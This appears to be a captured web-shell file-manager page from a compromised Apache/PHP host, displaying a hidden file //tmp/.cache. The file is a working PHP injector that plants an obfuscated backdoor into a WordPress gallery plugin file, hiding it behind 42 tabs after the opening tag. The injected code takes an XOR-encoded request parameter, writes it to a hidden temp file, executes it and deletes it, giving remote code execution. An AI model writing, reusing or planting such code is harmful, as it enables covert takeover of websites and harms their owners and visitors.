HEX
Server: Apache/2.4.6
System: Linux l2webhost 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: theparlor (1016)
PHP: 7.3.33
Disabled: NONE
Upload Files
File: //tmp/.cache
<?php  $path = '/home/theparlor/public_html/wp-content/plugins/modula-best-grid-gallery/includes/features/duplicator/modula-duplicator-functions.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_REQUEST%5B%22%5Cx65%5Cx6Et%22%5D%29%20%3F%20true%20%3A%20false%29%7B%20%24marker%20%3D%20hex2bin%28%24_REQUEST%5B%22%5Cx65%5Cx6Et%22%5D%29%3B%20%24flag%20%3D%20%27%27%20%3B%24q%20%3D%200%3B%20while%28%24q%20%3C%20strlen%28%24marker%29%29%7B%24flag%20.%3D%20chr%28ord%28%24marker%5B%24q%5D%29%20%5E%2021%29%3B%24q%2B%2B%3B%7D%20%24value%20%3D%20array_filter%28%5B%22/var/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20getenv%28%22TMP%22%29%2C%20session_save_path%28%29%2C%20%22/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getcwd%28%29%2C%20%22/dev/shm%22%5D%29%3B%20foreach%20%28%24value%20as%20%24data_chunk%29%20%7B%20if%20%28is_writable%28%24data_chunk%29%20%26%26%20is_dir%28%24data_chunk%29%29%20%7B%20%24dat%20%3D%20%22%24data_chunk/.obj%22%3B%20if%20%28file_put_contents%28%24dat%2C%20%24flag%29%29%20%7B%20require%20%24dat%3B%20unlink%28%24dat%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');